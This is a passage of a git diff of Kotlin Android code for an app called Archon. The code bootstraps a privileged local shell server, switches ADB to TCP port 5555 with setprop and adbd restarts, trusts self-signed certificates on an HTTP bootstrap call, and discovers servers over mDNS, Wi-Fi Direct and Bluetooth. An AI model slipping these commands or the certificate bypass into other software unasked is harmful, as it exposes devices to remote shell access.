val token = getToken(context) ?: return false
|
||||||
|
val port = getPort(context)
|
||||||
|
return try {
|
||||||
|
sendCommand(token, port, "__shutdown__")
|
||||||
|
serverRunning.set(false)
|
||||||
|
Log.i(TAG, "Server shutdown requested")
|
||||||
|
true
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Stop failed", e)
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate the bootstrap command string (for display/manual use).
|
||||||
|
*/
|
||||||
|
fun getBootstrapCommand(context: Context): String {
|
||||||
|
val token = getToken(context) ?: "TOKEN"
|
||||||
|
val port = getPort(context)
|
||||||
|
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
|
||||||
|
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
|
||||||
|
"com.darkhal.archon.server.ArchonServer $token $port"
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Internal ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun getToken(context: Context): String? {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.getString(KEY_TOKEN, null)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun getPort(context: Context): Int {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult {
|
||||||
|
val socket = Socket()
|
||||||
|
try {
|
||||||
|
socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT)
|
||||||
|
socket.soTimeout = (timeoutSec + 5) * 1000
|
||||||
|
|
||||||
|
val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true)
|
||||||
|
val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
|
||||||
|
|
||||||
|
// Build JSON request
|
||||||
|
val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}"""
|
||||||
|
writer.println(request)
|
||||||
|
|
||||||
|
// Read JSON response
|
||||||
|
val response = reader.readLine()
|
||||||
|
?: return ShellResult("", "No response from server", -1)
|
||||||
|
|
||||||
|
return parseResponse(response)
|
||||||
|
} finally {
|
||||||
|
try { socket.close() } catch (e: Exception) { /* ignore */ }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun parseResponse(json: String): ShellResult {
|
||||||
|
val stdout = extractJsonString(json, "stdout") ?: ""
|
||||||
|
val stderr = extractJsonString(json, "stderr") ?: ""
|
||||||
|
val exitCode = extractJsonInt(json, "exit_code", -1)
|
||||||
|
return ShellResult(stdout, stderr, exitCode)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun extractJsonString(json: String, key: String): String? {
|
||||||
|
val search = "\"$key\""
|
||||||
|
var idx = json.indexOf(search)
|
||||||
|
if (idx < 0) return null
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length)
|
||||||
|
if (idx < 0) return null
|
||||||
|
idx++
|
||||||
|
|
||||||
|
while (idx < json.length && json[idx] == ' ') idx++
|
||||||
|
if (idx >= json.length || json[idx] != '"') return null
|
||||||
|
idx++
|
||||||
|
|
||||||
|
val sb = StringBuilder()
|
||||||
|
while (idx < json.length) {
|
||||||
|
val c = json[idx]
|
||||||
|
if (c == '\\' && idx + 1 < json.length) {
|
||||||
|
when (json[idx + 1]) {
|
||||||
|
'"' -> sb.append('"')
|
||||||
|
'\\' -> sb.append('\\')
|
||||||
|
'n' -> sb.append('\n')
|
||||||
|
'r' -> sb.append('\r')
|
||||||
|
't' -> sb.append('\t')
|
||||||
|
else -> sb.append(json[idx + 1])
|
||||||
|
}
|
||||||
|
idx += 2
|
||||||
|
} else if (c == '"') {
|
||||||
|
break
|
||||||
|
} else {
|
||||||
|
sb.append(c)
|
||||||
|
idx++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun extractJsonInt(json: String, key: String, default: Int): Int {
|
||||||
|
val search = "\"$key\""
|
||||||
|
var idx = json.indexOf(search)
|
||||||
|
if (idx < 0) return default
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length)
|
||||||
|
if (idx < 0) return default
|
||||||
|
idx++
|
||||||
|
|
||||||
|
while (idx < json.length && json[idx] == ' ') idx++
|
||||||
|
|
||||||
|
val sb = StringBuilder()
|
||||||
|
while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) {
|
||||||
|
sb.append(json[idx])
|
||||||
|
idx++
|
||||||
|
}
|
||||||
|
return sb.toString().toIntOrNull() ?: default
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Bootstrap ArchonServer via AUTARCH server's USB ADB connection.
|
||||||
|
* Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device.
|
||||||
|
*/
|
||||||
|
private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? {
|
||||||
|
val serverIp = PrefsManager.getServerIp(context)
|
||||||
|
val serverPort = PrefsManager.getWebPort(context)
|
||||||
|
if (serverIp.isEmpty()) return null
|
||||||
|
|
||||||
|
return try {
|
||||||
|
val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap")
|
||||||
|
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||||
|
com.darkhal.archon.util.SslHelper.trustSelfSigned(conn)
|
||||||
|
conn.connectTimeout = 5000
|
||||||
|
conn.readTimeout = 15000
|
||||||
|
conn.requestMethod = "POST"
|
||||||
|
conn.setRequestProperty("Content-Type", "application/json")
|
||||||
|
conn.doOutput = true
|
||||||
|
|
||||||
|
val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}"""
|
||||||
|
Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort")
|
||||||
|
conn.outputStream.write(payload.toByteArray())
|
||||||
|
|
||||||
|
val code = conn.responseCode
|
||||||
|
val body = if (code in 200..299) {
|
||||||
|
conn.inputStream.bufferedReader().readText()
|
||||||
|
} else {
|
||||||
|
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
|
||||||
|
}
|
||||||
|
conn.disconnect()
|
||||||
|
|
||||||
|
Log.i(TAG, "Bootstrap HTTP response: $code - $body")
|
||||||
|
|
||||||
|
if (code in 200..299) {
|
||||||
|
val stdout = extractJsonString(body, "stdout") ?: body
|
||||||
|
val stderr = extractJsonString(body, "stderr") ?: ""
|
||||||
|
val exitCode = extractJsonInt(body, "exit_code", 0)
|
||||||
|
ShellResult(stdout, stderr, exitCode)
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "Bootstrap returned HTTP $code: $body")
|
||||||
|
null
|
||||||
|
}
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "Bootstrap failed: ${e.message}")
|
||||||
|
null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun escapeJson(s: String): String {
|
||||||
|
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
data class StartResult(val success: Boolean, val message: String)
|
||||||
|
}
|
||||||
@ -0,0 +1,77 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import com.darkhal.archon.util.PrivilegeManager
|
||||||
|
import com.darkhal.archon.util.ShellExecutor
|
||||||
|
import com.darkhal.archon.util.ShellResult
|
||||||
|
|
||||||
|
object AdbManager {
|
||||||
|
|
||||||
|
private const val ADBD_PROCESS = "adbd"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Enable ADB over TCP/IP on the specified port.
|
||||||
|
* Uses the best available privilege method.
|
||||||
|
*/
|
||||||
|
fun enableTcpMode(port: Int = 5555): ShellResult {
|
||||||
|
return PrivilegeManager.execute(
|
||||||
|
"setprop service.adb.tcp.port $port && stop adbd && start adbd"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Disable ADB TCP/IP mode, reverting to USB-only.
|
||||||
|
*/
|
||||||
|
fun disableTcpMode(): ShellResult {
|
||||||
|
return PrivilegeManager.execute(
|
||||||
|
"setprop service.adb.tcp.port -1 && stop adbd && start adbd"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Kill the ADB daemon.
|
||||||
|
*/
|
||||||
|
fun killServer(): ShellResult {
|
||||||
|
return PrivilegeManager.execute("stop adbd")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Restart the ADB daemon (stop then start).
|
||||||
|
*/
|
||||||
|
fun restartServer(): ShellResult {
|
||||||
|
return PrivilegeManager.execute("stop adbd && start adbd")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the ADB daemon process is currently running.
|
||||||
|
*/
|
||||||
|
fun isRunning(): Boolean {
|
||||||
|
val result = ShellExecutor.execute("pidof $ADBD_PROCESS")
|
||||||
|
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the current ADB mode: "tcp" with port number, or "usb".
|
||||||
|
*/
|
||||||
|
fun getMode(): String {
|
||||||
|
val result = ShellExecutor.execute("getprop service.adb.tcp.port")
|
||||||
|
val port = result.stdout.trim()
|
||||||
|
return if (port.isNotEmpty() && port != "-1" && port != "0") {
|
||||||
|
"tcp:$port"
|
||||||
|
} else {
|
||||||
|
"usb"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get a combined status map for display.
|
||||||
|
*/
|
||||||
|
fun getStatus(): Map<String, Any> {
|
||||||
|
val running = isRunning()
|
||||||
|
val mode = getMode()
|
||||||
|
return mapOf(
|
||||||
|
"running" to running,
|
||||||
|
"mode" to mode,
|
||||||
|
"tcp_enabled" to mode.startsWith("tcp")
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,416 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import android.bluetooth.BluetoothAdapter
|
||||||
|
import android.bluetooth.BluetoothDevice
|
||||||
|
import android.bluetooth.BluetoothManager
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.content.IntentFilter
|
||||||
|
import android.net.nsd.NsdManager
|
||||||
|
import android.net.nsd.NsdServiceInfo
|
||||||
|
import android.net.wifi.WifiManager
|
||||||
|
import android.net.wifi.p2p.WifiP2pConfig
|
||||||
|
import android.net.wifi.p2p.WifiP2pDevice
|
||||||
|
import android.net.wifi.p2p.WifiP2pDeviceList
|
||||||
|
import android.net.wifi.p2p.WifiP2pInfo
|
||||||
|
import android.net.wifi.p2p.WifiP2pManager
|
||||||
|
import android.os.Handler
|
||||||
|
import android.os.Looper
|
||||||
|
import android.util.Log
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers AUTARCH servers on the network using three methods (priority order):
|
||||||
|
*
|
||||||
|
* 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable)
|
||||||
|
* 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists
|
||||||
|
* 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired)
|
||||||
|
*
|
||||||
|
* Usage:
|
||||||
|
* val discovery = DiscoveryManager(context)
|
||||||
|
* discovery.listener = object : DiscoveryManager.Listener { ... }
|
||||||
|
* discovery.startDiscovery()
|
||||||
|
* // ... later ...
|
||||||
|
* discovery.stopDiscovery()
|
||||||
|
*/
|
||||||
|
class DiscoveryManager(private val context: Context) {
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "ArchonDiscovery"
|
||||||
|
private const val MDNS_SERVICE_TYPE = "_autarch._tcp."
|
||||||
|
private const val BT_TARGET_NAME = "AUTARCH"
|
||||||
|
private const val WIFIDIRECT_TARGET_NAME = "AUTARCH"
|
||||||
|
private const val DISCOVERY_TIMEOUT_MS = 15000L
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Result Data ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
data class DiscoveredServer(
|
||||||
|
val ip: String,
|
||||||
|
val port: Int,
|
||||||
|
val hostname: String,
|
||||||
|
val method: ConnectionMethod,
|
||||||
|
val extras: Map<String, String> = emptyMap()
|
||||||
|
)
|
||||||
|
|
||||||
|
enum class ConnectionMethod {
|
||||||
|
MDNS, // Found via mDNS on local network
|
||||||
|
WIFI_DIRECT, // Found via Wi-Fi Direct
|
||||||
|
BLUETOOTH // Found via Bluetooth
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Listener ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface Listener {
|
||||||
|
fun onServerFound(server: DiscoveredServer)
|
||||||
|
fun onDiscoveryStarted(method: ConnectionMethod)
|
||||||
|
fun onDiscoveryStopped(method: ConnectionMethod)
|
||||||
|
fun onDiscoveryError(method: ConnectionMethod, error: String)
|
||||||
|
}
|
||||||
|
|
||||||
|
var listener: Listener? = null
|
||||||
|
private val handler = Handler(Looper.getMainLooper())
|
||||||
|
|
||||||
|
// ── State ───────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private var mdnsRunning = false
|
||||||
|
private var wifiDirectRunning = false
|
||||||
|
private var bluetoothRunning = false
|
||||||
|
|
||||||
|
private var nsdManager: NsdManager? = null
|
||||||
|
private var discoveryListener: NsdManager.DiscoveryListener? = null
|
||||||
|
private var wifiP2pManager: WifiP2pManager? = null
|
||||||
|
private var wifiP2pChannel: WifiP2pManager.Channel? = null
|
||||||
|
private var bluetoothAdapter: BluetoothAdapter? = null
|
||||||
|
|
||||||
|
private val discoveredServers = mutableListOf<DiscoveredServer>()
|
||||||
|
|
||||||
|
// ── Public API ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Start all available discovery methods in priority order.
|
||||||
|
* Results arrive via the [Listener] callback.
|
||||||
|
*/
|
||||||
|
fun startDiscovery() {
|
||||||
|
discoveredServers.clear()
|
||||||
|
startMdnsDiscovery()
|
||||||
|
startWifiDirectDiscovery()
|
||||||
|
startBluetoothDiscovery()
|
||||||
|
|
||||||
|
// Auto-stop after timeout
|
||||||
|
handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Stop all discovery methods.
|
||||||
|
*/
|
||||||
|
fun stopDiscovery() {
|
||||||
|
stopMdnsDiscovery()
|
||||||
|
stopWifiDirectDiscovery()
|
||||||
|
stopBluetoothDiscovery()
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get all servers found so far.
|
||||||
|
*/
|
||||||
|
fun getDiscoveredServers(): List<DiscoveredServer> {
|
||||||
|
return discoveredServers.toList()
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the best server (highest priority method).
|
||||||
|
*/
|
||||||
|
fun getBestServer(): DiscoveredServer? {
|
||||||
|
return discoveredServers.minByOrNull { it.method.ordinal }
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── mDNS / NSD ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun startMdnsDiscovery() {
|
||||||
|
if (mdnsRunning) return
|
||||||
|
|
||||||
|
try {
|
||||||
|
nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager
|
||||||
|
if (nsdManager == null) {
|
||||||
|
notifyError(ConnectionMethod.MDNS, "NSD service not available")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
discoveryListener = object : NsdManager.DiscoveryListener {
|
||||||
|
override fun onDiscoveryStarted(serviceType: String) {
|
||||||
|
Log.d(TAG, "mDNS discovery started")
|
||||||
|
mdnsRunning = true
|
||||||
|
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) }
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onServiceFound(serviceInfo: NsdServiceInfo) {
|
||||||
|
Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}")
|
||||||
|
// Resolve to get IP and port
|
||||||
|
nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener {
|
||||||
|
override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) {
|
||||||
|
Log.w(TAG, "mDNS resolve failed: $errorCode")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onServiceResolved(info: NsdServiceInfo) {
|
||||||
|
val host = info.host?.hostAddress ?: return
|
||||||
|
val port = info.port
|
||||||
|
val hostname = info.attributes["hostname"]
|
||||||
|
?.let { String(it) } ?: info.serviceName
|
||||||
|
|
||||||
|
val server = DiscoveredServer(
|
||||||
|
ip = host,
|
||||||
|
port = port,
|
||||||
|
hostname = hostname,
|
||||||
|
method = ConnectionMethod.MDNS,
|
||||||
|
extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) }
|
||||||
|
)
|
||||||
|
discoveredServers.add(server)
|
||||||
|
handler.post { listener?.onServerFound(server) }
|
||||||
|
Log.i(TAG, "mDNS: found AUTARCH at $host:$port")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onServiceLost(serviceInfo: NsdServiceInfo) {
|
||||||
|
Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onDiscoveryStopped(serviceType: String) {
|
||||||
|
mdnsRunning = false
|
||||||
|
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) }
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||||
|
mdnsRunning = false
|
||||||
|
notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) {
|
||||||
|
Log.w(TAG, "mDNS stop failed: $errorCode")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener)
|
||||||
|
|
||||||
|
} catch (e: Exception) {
|
||||||
|
notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun stopMdnsDiscovery() {
|
||||||
|
if (!mdnsRunning) return
|
||||||
|
try {
|
||||||
|
discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) }
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "mDNS stop error: ${e.message}")
|
||||||
|
}
|
||||||
|
mdnsRunning = false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Wi-Fi Direct ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private val wifiP2pReceiver = object : BroadcastReceiver() {
|
||||||
|
override fun onReceive(ctx: Context, intent: Intent) {
|
||||||
|
when (intent.action) {
|
||||||
|
WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> {
|
||||||
|
// Peers list changed, request updated list
|
||||||
|
wifiP2pManager?.requestPeers(wifiP2pChannel) { peers ->
|
||||||
|
handleWifiDirectPeers(peers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> {
|
||||||
|
wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info ->
|
||||||
|
handleWifiDirectConnection(info)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startWifiDirectDiscovery() {
|
||||||
|
if (wifiDirectRunning) return
|
||||||
|
|
||||||
|
try {
|
||||||
|
wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager
|
||||||
|
if (wifiP2pManager == null) {
|
||||||
|
notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null)
|
||||||
|
|
||||||
|
// Register receiver for Wi-Fi Direct events
|
||||||
|
val intentFilter = IntentFilter().apply {
|
||||||
|
addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION)
|
||||||
|
addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION)
|
||||||
|
addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION)
|
||||||
|
}
|
||||||
|
context.registerReceiver(wifiP2pReceiver, intentFilter)
|
||||||
|
|
||||||
|
wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener {
|
||||||
|
override fun onSuccess() {
|
||||||
|
wifiDirectRunning = true
|
||||||
|
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) }
|
||||||
|
Log.d(TAG, "Wi-Fi Direct discovery started")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onFailure(reason: Int) {
|
||||||
|
val msg = when (reason) {
|
||||||
|
WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported"
|
||||||
|
WifiP2pManager.BUSY -> "System busy"
|
||||||
|
WifiP2pManager.ERROR -> "Internal error"
|
||||||
|
else -> "Unknown error ($reason)"
|
||||||
|
}
|
||||||
|
notifyError(ConnectionMethod.WIFI_DIRECT, msg)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
} catch (e: Exception) {
|
||||||
|
notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) {
|
||||||
|
for (device in peers.deviceList) {
|
||||||
|
if (device.deviceName.contains(WIFIDIRECT_TARGET_NAME, ignoreCase = true)) {
|
||||||
|
Log.i(TAG, "Wi-Fi Direct: found AUTARCH peer: ${device.deviceName} (${device.deviceAddress})")
|
||||||
|
// Found an AUTARCH device — connect to get IP
|
||||||
|
connectWifiDirect(device)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun connectWifiDirect(device: WifiP2pDevice) {
|
||||||
|
val config = WifiP2pConfig().apply {
|
||||||
|
deviceAddress = device.deviceAddress
|
||||||
|
}
|
||||||
|
wifiP2pManager?.connect(wifiP2pChannel, config, object : WifiP2pManager.ActionListener {
|
||||||
|
override fun onSuccess() {
|
||||||
|
Log.d(TAG, "Wi-Fi Direct: connecting to ${device.deviceName}")
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onFailure(reason: Int) {
|
||||||
|
Log.w(TAG, "Wi-Fi Direct: connect failed ($reason)")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun handleWifiDirectConnection(info: WifiP2pInfo) {
|
||||||
|
if (info.groupFormed) {
|
||||||
|
val ownerAddress = info.groupOwnerAddress?.hostAddress ?: return
|
||||||
|
// The group owner is the AUTARCH server
|
||||||
|
val server = DiscoveredServer(
|
||||||
|
ip = ownerAddress,
|
||||||
|
port = 8181, // Default — will be refined via mDNS or API call
|
||||||
|
hostname = "AUTARCH (Wi-Fi Direct)",
|
||||||
|
method = ConnectionMethod.WIFI_DIRECT
|
||||||
|
)
|
||||||
|
discoveredServers.add(server)
|
||||||
|
handler.post { listener?.onServerFound(server) }
|
||||||
|
Log.i(TAG, "Wi-Fi Direct: AUTARCH at $ownerAddress")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun stopWifiDirectDiscovery() {
|
||||||
|
if (!wifiDirectRunning) return
|
||||||
|
try {
|
||||||
|
wifiP2pManager?.stopPeerDiscovery(wifiP2pChannel, null)
|
||||||
|
context.unregisterReceiver(wifiP2pReceiver)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "Wi-Fi Direct stop error: ${e.message}")
|
||||||
|
}
|
||||||
|
wifiDirectRunning = false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Bluetooth ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private val btReceiver = object : BroadcastReceiver() {
|
||||||
|
override fun onReceive(ctx: Context, intent: Intent) {
|
||||||
|
when (intent.action) {
|
||||||
|
BluetoothDevice.ACTION_FOUND -> {
|
||||||
|
val device = intent.getParcelableExtra<BluetoothDevice>(
|
||||||
|
BluetoothDevice.EXTRA_DEVICE
|
||||||
|
) ?: return
|
||||||
|
|
||||||
|
val name = try { device.name } catch (e: SecurityException) { null }
|
||||||
|
if (name != null && name.contains(BT_TARGET_NAME, ignoreCase = true)) {
|
||||||
|
Log.i(TAG, "Bluetooth: found AUTARCH device: $name (${device.address})")
|
||||||
|
|
||||||
|
val server = DiscoveredServer(
|
||||||
|
ip = "", // BT doesn't give IP directly — use for pairing flow
|
||||||
|
port = 0,
|
||||||
|
hostname = name,
|
||||||
|
method = ConnectionMethod.BLUETOOTH,
|
||||||
|
extras = mapOf(
|
||||||
|
"bt_address" to device.address,
|
||||||
|
"bt_name" to name
|
||||||
|
)
|
||||||
|
)
|
||||||
|
discoveredServers.add(server)
|
||||||
|
handler.post { listener?.onServerFound(server) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
BluetoothAdapter.ACTION_DISCOVERY_FINISHED -> {
|
||||||
|
bluetoothRunning = false
|
||||||
|
handler.post { listener?.onDiscoveryStopped(ConnectionMethod.BLUETOOTH) }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun startBluetoothDiscovery() {
|
||||||
|
if (bluetoothRunning) return
|
||||||
|
|
||||||
|
try {
|
||||||
|
val btManager = context.getSystemService(Context.BLUETOOTH_SERVICE) as? BluetoothManager
|
||||||
|
bluetoothAdapter = btManager?.adapter
|
||||||
|
|
||||||
|
if (bluetoothAdapter == null || bluetoothAdapter?.isEnabled != true) {
|
||||||
|
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth not available or disabled")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
val intentFilter = IntentFilter().apply {
|
||||||
|
addAction(BluetoothDevice.ACTION_FOUND)
|
||||||
|
addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED)
|
||||||
|
}
|
||||||
|
context.registerReceiver(btReceiver, intentFilter)
|
||||||
|
|
||||||
|
val started = try {
|
||||||
|
bluetoothAdapter?.startDiscovery() == true
|
||||||
|
} catch (e: SecurityException) {
|
||||||
|
notifyError(ConnectionMethod.BLUETOOTH, "Bluetooth permission denied")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (started) {
|
||||||
|
bluetoothRunning = true
|
||||||
|
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
|
||||||
|
Log.d(TAG, "Bluetooth discovery started")
|
||||||
|
} else {
|
||||||
|
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (e: Exception) {
|
||||||
|
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun stopBluetoothDiscovery() {
|
||||||
|
if (!bluetoothRunning) return
|
||||||
|
try {
|
||||||
|
bluetoothAdapter?.cancelDiscovery()
|
||||||
|
context.unregisterReceiver(btReceiver)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "Bluetooth stop error: ${e.message}")
|
||||||
|
}
|
||||||
|
bluetoothRunning = false
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Helpers ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun notifyError(method: ConnectionMethod, error: String) {
|
||||||
|
Log.e(TAG, "${method.name}: $error")
|
||||||
|
handler.post { listener?.onDiscoveryError(method, error) }
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,391 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import android.content.Context
|
||||||
|
import android.util.Base64
|
||||||
|
import android.util.Log
|
||||||
|
import com.darkhal.archon.util.ShellResult
|
||||||
|
import io.github.muntashirakon.adb.AbsAdbConnectionManager
|
||||||
|
import io.github.muntashirakon.adb.android.AdbMdns
|
||||||
|
import org.conscrypt.Conscrypt
|
||||||
|
import java.io.ByteArrayInputStream
|
||||||
|
import java.io.ByteArrayOutputStream
|
||||||
|
import java.math.BigInteger
|
||||||
|
import java.security.KeyFactory
|
||||||
|
import java.security.KeyPairGenerator
|
||||||
|
import java.security.PrivateKey
|
||||||
|
import java.security.SecureRandom
|
||||||
|
import java.security.Security
|
||||||
|
import java.security.Signature
|
||||||
|
import java.security.cert.Certificate
|
||||||
|
import java.security.cert.CertificateFactory
|
||||||
|
import java.security.spec.PKCS8EncodedKeySpec
|
||||||
|
import java.util.Calendar
|
||||||
|
import java.util.TimeZone
|
||||||
|
import java.util.concurrent.CountDownLatch
|
||||||
|
import java.util.concurrent.TimeUnit
|
||||||
|
import java.util.concurrent.atomic.AtomicBoolean
|
||||||
|
import java.util.concurrent.atomic.AtomicInteger
|
||||||
|
import android.os.Build
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Self-contained local ADB client using libadb-android.
|
||||||
|
